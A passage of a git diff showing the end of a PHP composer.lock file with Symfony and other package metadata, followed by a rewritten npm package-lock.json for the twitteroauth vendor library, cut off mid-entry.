"symfony/dependency-injection": "", + "symfony/http-kernel": "" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "4.4-dev" + } + }, + "autoload": { + "psr-4": { + "Symfony\\Component\\EventDispatcher\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony EventDispatcher Component", + "homepage": "https://symfony.com", + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2020-08-13T14:18:44+00:00" + }, + { + "name": "symfony/event-dispatcher-contracts", + "version": "v1.1.9", + "source": { + "type": "git", + "url": "https://github.com/symfony/event-dispatcher-contracts.git", + "reference": "84e23fdcd2517bf37aecbd16967e83f0caee25a7" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/event-dispatcher-contracts/zipball/84e23fdcd2517bf37aecbd16967e83f0caee25a7", + "reference": "84e23fdcd2517bf37aecbd16967e83f0caee25a7", + "shasum": "" + }, + "require": { + "php": ">=7.1.3" + }, + "suggest": { + "psr/event-dispatcher": "", + "symfony/event-dispatcher-implementation": "" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.1-dev" + }, + "thanks": { + "name": "symfony/contracts", + "url": "https://github.com/symfony/contracts" + } + }, + "autoload": { + "psr-4": { + "Symfony\\Contracts\\EventDispatcher\\": "" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Generic abstractions related to dispatching event", + "homepage": "https://symfony.com", + "keywords": [ + "abstractions", + "contracts", + "decoupling", + "interfaces", + "interoperability", + "standards" + ], + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2020-07-06T13:19:58+00:00" + }, + { + "name": "symfony/filesystem", + "version": "v4.4.13", + "source": { + "type": "git", + "url": "https://github.com/symfony/filesystem.git", + "reference": "27575bcbc68db1f6d06218891296572c9b845704" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/filesystem/zipball/27575bcbc68db1f6d06218891296572c9b845704", + "reference": "27575bcbc68db1f6d06218891296572c9b845704", + "shasum": "" + }, + "require": { + "php": ">=7.1.3", + "symfony/polyfill-ctype": "~1.8" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "4.4-dev" + } + }, + "autoload": { + "psr-4": { + "Symfony\\Component\\Filesystem\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony Filesystem Component", + "homepage": "https://symfony.com", + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2020-08-21T17:19:37+00:00" + }, + { + "name": "symfony/polyfill-ctype", + "version": "v1.18.1", + "source": { + "type": "git", + "url": "https://github.com/symfony/polyfill-ctype.git", + "reference": "1c302646f6efc070cd46856e600e5e0684d6b454" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/polyfill-ctype/zipball/1c302646f6efc070cd46856e600e5e0684d6b454", + "reference": "1c302646f6efc070cd46856e600e5e0684d6b454", + "shasum": "" + }, + "require": { + "php": ">=5.3.3" + }, + "suggest": { + "ext-ctype": "For best performance" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.18-dev" + }, + "thanks": { + "name": "symfony/polyfill", + "url": "https://github.com/symfony/polyfill" + } + }, + "autoload": { + "psr-4": { + "Symfony\\Polyfill\\Ctype\\": "" + }, + "files": [ + "bootstrap.php" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Gert de Pagter", + "email": "BackEndTea@gmail.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony polyfill for ctype functions", + "homepage": "https://symfony.com", + "keywords": [ + "compatibility", + "ctype", + "polyfill", + "portable" + ], + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2020-07-14T12:35:20+00:00" + }, + { + "name": "symfony/service-contracts", + "version": "v1.1.9", + "source": { + "type": "git", + "url": "https://github.com/symfony/service-contracts.git", + "reference": "b776d18b303a39f56c63747bcb977ad4b27aca26" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/service-contracts/zipball/b776d18b303a39f56c63747bcb977ad4b27aca26", + "reference": "b776d18b303a39f56c63747bcb977ad4b27aca26", + "shasum": "" + }, + "require": { + "php": ">=7.1.3", + "psr/container": "^1.0" + }, + "suggest": { + "symfony/service-implementation": "" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.1-dev" + }, + "thanks": { + "name": "symfony/contracts", + "url": "https://github.com/symfony/contracts" + } + }, + "autoload": { + "psr-4": { + "Symfony\\Contracts\\Service\\": "" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Generic abstractions related to writing services", + "homepage": "https://symfony.com", + "keywords": [ + "abstractions", + "contracts", + "decoupling", + "interfaces", + "interoperability", + "standards" + ], + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2020-07-06T13:19:58+00:00" + }, + { + "name": "symfony/yaml", + "version": "v4.4.13", + "source": { + "type": "git", + "url": "https://github.com/symfony/yaml.git", + "reference": "e2a69525b11a33be51cb00b8d6d13a9258a296b1" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/yaml/zipball/e2a69525b11a33be51cb00b8d6d13a9258a296b1", + "reference": "e2a69525b11a33be51cb00b8d6d13a9258a296b1", + "shasum": "" + }, + "require": { + "php": ">=7.1.3", + "symfony/polyfill-ctype": "~1.8" + }, + "conflict": { + "symfony/console": "<3.4" + }, + "require-dev": { + "symfony/console": "^3.4|^4.0|^5.0" + }, + "suggest": { + "symfony/console": "For validating YAML files using the lint command" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "4.4-dev" + } + }, + "autoload": { + "psr-4": { + "Symfony\\Component\\Yaml\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony Yaml Component", + "homepage": "https://symfony.com", + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2020-08-26T08:30:46+00:00" + }, + { + "name": "theseer/tokenizer", + "version": "1.2.0", + "source": { + "type": "git", + "url": "https://github.com/theseer/tokenizer.git", + "reference": "75a63c33a8577608444246075ea0af0d052e452a" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/theseer/tokenizer/zipball/75a63c33a8577608444246075ea0af0d052e452a", + "reference": "75a63c33a8577608444246075ea0af0d052e452a", + "shasum": "" + }, + "require": { + "ext-dom": "*", + "ext-tokenizer": "*", + "ext-xmlwriter": "*", + "php": "^7.2 || ^8.0" + }, + "type": "library", + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Arne Blankerts", + "email": "arne@blankerts.de", + "role": "Developer" + } + ], + "description": "A small library for converting tokenized PHP source code into XML and potentially other formats", + "funding": [ + { + "url": "https://github.com/theseer", + "type": "github" + } + ], + "time": "2020-07-12T23:59:07+00:00" + }, + { + "name": "webmozart/assert", + "version": "1.9.1", + "source": { + "type": "git", + "url": "https://github.com/webmozart/assert.git", + "reference": "bafc69caeb4d49c39fd0779086c03a3738cbb389" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/webmozart/assert/zipball/bafc69caeb4d49c39fd0779086c03a3738cbb389", + "reference": "bafc69caeb4d49c39fd0779086c03a3738cbb389", + "shasum": "" + }, + "require": { + "php": "^5.3.3 || ^7.0 || ^8.0", + "symfony/polyfill-ctype": "^1.8" + }, + "conflict": { + "phpstan/phpstan": "<0.12.20", + "vimeo/psalm": "<3.9.1" + }, + "require-dev": { + "phpunit/phpunit": "^4.8.36 || ^7.5.13" + }, + "type": "library", + "autoload": { + "psr-4": { + "Webmozart\\Assert\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Bernhard Schussek", + "email": "bschussek@gmail.com" + } + ], + "description": "Assertions to validate method input/output with nice error messages.", + "keywords": [ + "assert", + "check", + "validate" + ], + "time": "2020-07-08T17:02:28+00:00" + } + ], + "aliases": [], + "minimum-stability": "stable", + "stability-flags": [], + "prefer-stable": false, + "prefer-lowest": false, + "platform": { + "php": "^7.2 || ^7.3 || ^7.4", + "ext-curl": "*" + }, + "platform-dev": [], + "plugin-api-version": "1.1.0" +} diff --git a/vendor/abraham/twitteroauth/package-lock.json b/vendor/abraham/twitteroauth/package-lock.json index 9e9a1a1f46..82e8a114f2 100644 --- a/vendor/abraham/twitteroauth/package-lock.json +++ b/vendor/abraham/twitteroauth/package-lock.json @@ -1,504 +1,504 @@ -{ - "name": "twitteroauth", - "version": "0.0.0", - "lockfileVersion": 1, - "requires": true, - "dependencies": { - "@prettier/plugin-php": { - "version": "0.14.3", - "resolved": "https://registry.npmjs.org/@prettier/plugin-php/-/plugin-php-0.14.3.tgz", - "integrity": "sha512-n+r5e4p8QhF497NUyOx7AqyQjNqCNbwhd+W8wTc07dO9ME42npIwZ1N8Hyc3kZ4KeLxE+nAuU5e21VMcbJyOMQ==", - "dev": true, - "requires": { - "linguist-languages": "^7.5.1", - "mem": "^6.0.1", - "php-parser": "github:glayzzle/php-parser#5a0e2e1bf12517bd1c544c0f4e68482d0362a7b5" - } - }, - "ansi-regex": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-4.1.0.tgz", - "integrity": "sha512-1apePfXM1UOSqw0o9IiFAovVz9M5S1Dg+4TrDwfMewQ6p/rmMueb7tWZjQ1rx4Loy1ArBggoqGpfqqdI4rondg==", - "dev": true - }, - "ansi-styles": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", - "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", - "dev": true, - "requires": { - "color-convert": "^1.9.0" - } - }, - "camelcase": { - "version": "5.3.1", - "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz", - "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==", - "dev": true - }, - "chalk": { - "version": "2.4.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz", - "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==", - "dev": true, - "requires": { - "ansi-styles": "^3.2.1", - "escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" - }, - "dependencies": { - "supports-color": { - "version": "5.5.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", - "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", - "dev": true, - "requires": { - "has-flag": "^3.0.0" - } - } - } - }, - "cliui": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/cliui/-/cliui-5.0.0.tgz", - "integrity": "sha512-PYeGSEmmHM6zvoef2w8TPzlrnNpXIjTipYK780YswmIP9vjxmd6Y2a3CB2Ks6/AU8NHjZugXvo8w3oWM2qnwXA==", - "dev": true, - "requires": { - "string-width": "^3.1.0", - "strip-ansi": "^5.2.0", - "wrap-ansi": "^5.1.0" - } - }, - "color-convert": { - "version": "1.9.3", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz", - "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==", - "dev": true, - "requires": { - "color-name": "1.1.3" - } - }, - "color-name": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz", - "integrity": "sha1-p9BVi9icQveV3UIyj3QIMcpTvCU=", - "dev": true - }, - "concurrently": { - "version": "5.3.0", - "resolved": "https://registry.npmjs.org/concurrently/-/concurrently-5.3.0.tgz", - "integrity": "sha512-8MhqOB6PWlBfA2vJ8a0bSFKATOdWlHiQlk11IfmQBPaHVP8oP2gsh2MObE6UR3hqDHqvaIvLTyceNW6obVuFHQ==", - "dev": true, - "requires": { - "chalk": "^2.4.2", - "date-fns": "^2.0.1", - "lodash": "^4.17.15", - "read-pkg": "^4.0.1", - "rxjs": "^6.5.2", - "spawn-command": "^0.0.2-1", - "supports-color": "^6.1.0", - "tree-kill": "^1.2.2", - "yargs": "^13.3.0" - } - }, - "date-fns": { - "version": "2.15.0", - "resolved": "https://registry.npmjs.org/date-fns/-/date-fns-2.15.0.tgz", - "integrity": "sha512-ZCPzAMJZn3rNUvvQIMlXhDr4A+Ar07eLeGsGREoWU19a3Pqf5oYa+ccd+B3F6XVtQY6HANMFdOQ8A+ipFnvJdQ==", - "dev": true - }, - "decamelize": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/decamelize/-/decamelize-1.2.0.tgz", - "integrity": "sha1-9lNNFRSCabIDUue+4m9QH5oZEpA=", - "dev": true - }, - "emoji-regex": { - "version": "7.0.3", - "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-7.0.3.tgz", - "integrity": "sha512-CwBLREIQ7LvYFB0WyRvwhq5N5qPhc6PMjD6bYggFlI5YyDgl+0vxq5VHbMOFqLg7hfWzmu8T5Z1QofhmTIhItA==", - "dev": true - }, - "error-ex": { - "version": "1.3.2", - "resolved": "https://registry.npmjs.org/error-ex/-/error-ex-1.3.2.tgz", - "integrity": "sha512-7dFHNmqeFSEt2ZBsCriorKnn3Z2pj+fd9kmI6QoWw4//DL+icEBfc0U7qJCisqrTsKTjw4fNFy2pW9OqStD84g==", - "dev": true, - "requires": { - "is-arrayish": "^0.2.1" - } - }, - "escape-string-regexp": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", - "integrity": "sha1-G2HAViGQqN/2rjuyzwIAyhMLhtQ=", - "dev": true - }, - "find-up": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/find-up/-/find-up-3.0.0.tgz", - "integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==", - "dev": true, - "requires": { - "locate-path": "^3.0.0" - } - }, - "get-caller-file": { - "version": "2.0.5", - "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz", - "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==", - "dev": true - }, - "has-flag": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", - "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", - "dev": true - }, - "hosted-git-info": { - "version": "2.8.8", - "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-2.8.8.tgz", - "integrity": "sha512-f/wzC2QaWBs7t9IYqB4T3sR1xviIViXJRJTWBlx2Gf3g0Xi5vI7Yy4koXQ1c9OYDGHN9sBy1DQ2AB8fqZBWhUg==", - "dev": true - }, - "is-arrayish": { - "version": "0.2.1", - "resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.2.1.tgz", - "integrity": "sha1-d8mYQFJ6qOyxqLppe4BkWnqSap0=", - "dev": true - }, - "is-fullwidth-code-point": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz", - "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=", - "dev": true - }, - "json-parse-better-errors": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/json-parse-better-errors/-/json-parse-better-errors-1.0.2.tgz", - "integrity": "sha512-mrqyZKfX5EhL7hvqcV6WG1yYjnjeuYDzDhhcAAUrq8Po85NBQBJP+ZDUT75qZQ98IkUoBqdkExkukOU7Ts2wrw==", - "dev": true - }, - "linguist-languages": { - "version": "7.10.0", - "resolved": "https://registry.npmjs.org/linguist-languages/-/linguist-languages-7.10.0.tgz", - "integrity": "sha512-Uqt94P4iAznscZtccnNE1IBi105U+fmQKEUlDJv54JDdFZDInomkepEIRpZLOQcPyGdcNu3JO9Tvo5wpQVbfKw==", - "dev": true - }, - "locate-path": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-3.0.0.tgz", - "integrity": "sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==", - "dev": true, - "requires": { - "p-locate": "^3.0.0", - "path-exists": "^3.0.0" - } - }, - "lodash": { - "version": "4.17.19", - "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.19.tgz", - "integrity": "sha512-JNvd8XER9GQX0v2qJgsaN/mzFCNA5BRe/j8JN9d+tWyGLSodKQHKFicdwNYzWwI3wjRnaKPsGj1XkBjx/F96DQ==", - "dev": true - }, - "map-age-cleaner": { - "version": "0.1.3", - "resolved": "https://registry.npmjs.org/map-age-cleaner/-/map-age-cleaner-0.1.3.tgz", - "integrity": "sha512-bJzx6nMoP6PDLPBFmg7+xRKeFZvFboMrGlxmNj9ClvX53KrmvM5bXFXEWjbz4cz1AFn+jWJ9z/DJSz7hrs0w3w==", - "dev": true, - "requires": { - "p-defer": "^1.0.0" - } - }, - "mem": { - "version": "6.1.0", - "resolved": "https://registry.npmjs.org/mem/-/mem-6.1.0.tgz", - "integrity": "sha512-RlbnLQgRHk5lwqTtpEkBTQ2ll/CG/iB+J4Hy2Wh97PjgZgXgWJWrFF+XXujh3UUVLvR4OOTgZzcWMMwnehlEUg==", - "dev": true, - "requires": { - "map-age-cleaner": "^0.1.3", - "mimic-fn": "^3.0.0" - } - }, - "mimic-fn": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/mimic-fn/-/mimic-fn-3.1.0.tgz", - "integrity": "sha512-Ysbi9uYW9hFyfrThdDEQuykN4Ey6BuwPD2kpI5ES/nFTDn/98yxYNLZJcgUAKPT/mcrLLKaGzJR9YVxJrIdASQ==", - "dev": true - }, - "normalize-package-data": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/normalize-package-data/-/normalize-package-data-2.5.0.tgz", - "integrity": "sha512-/5CMN3T0R4XTj4DcGaexo+roZSdSFW/0AOOTROrjxzCG1wrWXEsGbRKevjlIL+ZDE4sZlJr5ED4YW0yqmkK+eA==", - "dev": true, - "requires": { - "hosted-git-info": "^2.1.4", - "resolve": "^1.10.0", - "semver": "2 || 3 || 4 || 5", - "validate-npm-package-license": "^3.0.1" - } - }, - "p-defer": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/p-defer/-/p-defer-1.0.0.tgz", - "integrity": "sha1-n26xgvbJqozXQwBKfU+WsZaw+ww=", - "dev": true - }, - "p-limit": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", - "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", - "dev": true, - "requires": { - "p-try": "^2.0.0" - } - }, - "p-locate": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-3.0.0.tgz", - "integrity": "sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==", - "dev": true, - "requires": { - "p-limit": "^2.0.0" - } - }, - "p-try": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.2.0.tgz", - "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==", - "dev": true - }, - "parse-json": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-4.0.0.tgz", - "integrity": "sha1-vjX1Qlvh9/bHRxhPmKeIy5lHfuA=", - "dev": true, - "requires": { - "error-ex": "^1.3.1", - "json-parse-better-errors": "^1.0.1" - } - }, - "path-exists": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-3.0.0.tgz", - "integrity": "sha1-zg6+ql94yxiSXqfYENe1mwEP1RU=", - "dev": true - }, - "path-parse": { - "version": "1.0.6", - "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.6.tgz", - "integrity": "sha512-GSmOT2EbHrINBf9SR7CDELwlJ8AENk3Qn7OikK4nFYAu3Ote2+JYNVvkpAEQm3/TLNEJFD/xZJjzyxg3KBWOzw==", - "dev": true - }, - "php-parser": { - "version": "github:glayzzle/php-parser#5a0e2e1bf12517bd1c544c0f4e68482d0362a7b5", - "from": "github:glayzzle/php-parser#5a0e2e1bf12517bd1c544c0f4e68482d0362a7b5", - "dev": true - }, - "pify": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/pify/-/pify-3.0.0.tgz", - "integrity": "sha1-5aSs0sEB/fPZpNB/DbxNtJ3SgXY=", - "dev": true - }, - "prettier": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/prettier/-/prettier-2.1.2.tgz", - "integrity": "sha512-16c7K+x4qVlJg9rEbXl7HEGmQyZlG4R9AgP+oHKRMsMsuk8s+ATStlf1NpDqyBI1HpVyfjLOeMhH2LvuNvV5Vg==", - "dev": true - }, - "read-pkg": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/read-pkg/-/read-pkg-4.0.1.tgz", - "integrity": "sha1-ljYlN48+HE1IyFhytabsfV0JMjc=", - "dev": true, - "requires": { - "normalize-package-data": "^2.3.2", - "parse-json": "^4.0.0", - "pify": "^3.0.0" - } - }, - "require-directory": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz", - "integrity": "sha1-jGStX9MNqxyXbiNE/+f3kqam30I=", - "dev": true - }, - "require-main-filename": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/require-main-filename/-/require-main-filename-2.0.0.tgz", - "integrity": "sha512-NKN5kMDylKuldxYLSUfrbo5Tuzh4hd+2E8NPPX02mZtn1VuREQToYe/ZdlJy+J3uCpfaiGF05e7B8W0iXbQHmg==", - "dev": true - }, - "resolve": { - "version": "1.17.0", - "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.17.0.tgz", - "integrity": "sha512-ic+7JYiV8Vi2yzQGFWOkiZD5Z9z7O2Zhm9XMaTxdJExKasieFCr+yXZ/WmXsckHiKl12ar0y6XiXDx3m4RHn1w==", - "dev": true, - "requires": { - "path-parse": "^1.0.6" - } - }, - "rxjs": { - "version": "6.6.2", - "resolved": "https://registry.npmjs.org/rxjs/-/rxjs-6.6.2.tgz", - "integrity": "sha512-BHdBMVoWC2sL26w//BCu3YzKT4s2jip/WhwsGEDmeKYBhKDZeYezVUnHatYB7L85v5xs0BAQmg6BEYJEKxBabg==", - "dev": true, - "requires": { - "tslib": "^1.9.0" - } - }, - "semver": { - "version": "5.7.1", - "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz", - "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==", - "dev": true - }, - "set-blocking": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/set-blocking/-/set-blocking-2.0.0.tgz", - "integrity": "sha1-BF+XgtARrppoA93TgrJDkrPYkPc=", - "dev": true - }, - "spawn-command": { - "version": "0.0.2-1", - "resolved": "https://registry.npmjs.org/spawn-command/-/spawn-command-0.0.2-1.tgz", - "integrity": "sha1-YvXpRmmBwbeW3Fkpk34RycaSG9A=", - "dev": true - }, - "spdx-correct": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/spdx-correct/-/spdx-correct-3.1.1.tgz", - "integrity": "sha512-cOYcUWwhCuHCXi49RhFRCyJEK3iPj1Ziz9DpViV3tbZOwXD49QzIN3MpOLJNxh2qwq2lJJZaKMVw9qNi4jTC0w==", - "dev": true, - "requires": { - "spdx-expression-parse": "^3.0.0", - "spdx-license-ids": "^3.0.0" - } - }, - "spdx-exceptions": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/spdx-exceptions/-/spdx-exceptions-2.3.0.tgz", - "integrity": "sha512-/tTrYOC7PPI1nUAgx34hUpqXuyJG+DTHJTnIULG4rDygi4xu/tfgmq1e1cIRwRzwZgo4NLySi+ricLkZkw4i5A==", - "dev": true - }, - "spdx-expression-parse": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/spdx-expression-parse/-/spdx-expression-parse-3.0.1.tgz", - "integrity": "sha512-cbqHunsQWnJNE6KhVSMsMeH5H/L9EpymbzqTQ3uLwNCLZ1Q481oWaofqH7nO6V07xlXwY6PhQdQ2IedWx/ZK4Q==", - "dev": true, - "requires": { - "spdx-exceptions": "^2.1.0", - "spdx-license-ids": "^3.0.0" - } - }, - "spdx-license-ids": { - "version": "3.0.5", - "resolved": "https://registry.npmjs.org/spdx-license-ids/-/spdx-license-ids-3.0.5.tgz", - "integrity": "sha512-J+FWzZoynJEXGphVIS+XEh3kFSjZX/1i9gFBaWQcB+/tmpe2qUsSBABpcxqxnAxFdiUFEgAX1bjYGQvIZmoz9Q==", - "dev": true - }, - "string-width": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-3.1.0.tgz", - "integrity": "sha512-vafcv6KjVZKSgz06oM/H6GDBrAtz8vdhQakGjFIvNrHA6y3HCF1CInLy+QLq8dTJPQ1b+KDUqDFctkdRW44e1w==", - "dev": true, - "requires": { - "emoji-regex": "^7.0.1", - "is-fullwidth-code-point": "^2.0.0", - "strip-ansi": "^5.1.0" - } - }, - "strip-ansi": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-5.2.0.tgz", - "integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==", - "dev": true, - "requires": { - "ansi-regex": "^4.1.0" - } - }, - "supports-color": { - "version": "6.1.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-6.1.0.tgz", - "integrity": "sha512-qe1jfm1Mg7Nq/NSh6XE24gPXROEVsWHxC1LIx//XNlD9iw7YZQGjZNjYN7xGaEG6iKdA8EtNFW6R0gjnVXp+wQ==", - "dev": true, - "requires": { - "has-flag": "^3.0.0" - } - }, - "tree-kill": { - "version": "1.2.2", - "resolved": "https://registry.npmjs.org/tree-kill/-/tree-kill-1.2.2.tgz", - "integrity": "sha512-L0Orpi8qGpRG//Nd+H90vFB+3iHnue1zSSGmNOOCh1GLJ7rUKVwV2HvijphGQS2UmhUZewS9VgvxYIdgr+fG1A==", - "dev": true - }, - "tslib": { - "version": "1.13.0", - "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.13.0.tgz", - "integrity": 